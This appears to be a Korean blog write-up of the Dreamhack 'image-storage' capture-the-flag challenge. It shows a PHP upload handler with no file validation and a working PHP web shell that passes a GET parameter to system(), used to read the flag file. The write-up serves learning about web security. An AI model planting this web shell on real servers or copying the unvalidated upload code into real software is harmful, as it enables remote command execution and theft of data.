dreamhack

[Dreamhack] image-storage

부산영롱 2024. 1. 11. 00:04

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

웹서버 코드를 보면 업로드 하는 파일에 대해 어떠한 검증도 하지 않기 때문에 php 웹쉘을 업로드하면 된다.

아래는 업로드할 php 웹쉘 코드이다.

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

입력 필드를 생성하고 입력된 값을 그대로 시스템 명령으로 실행하는 코드이다.

업로드 후 list 페이지로 가서 업로드 된 파일을 클릭하면 아래처럼 나온다.

cat ../../../../flag.txt 를 입력하고 Execute 클릭하면 플래그 획득!

'dreamhack' 카테고리의 다른 글

[Dreamhack] web-ssrf  (0) 2024.01.15
[Dreamhack] file-download-1  (1) 2024.01.14
[Dreamhack] command-injection-1  (0) 2024.01.10
[Dreamhack] Mango  (0) 2024.01.10
[Dreamhack] simple_sqli  (1) 2024.01.09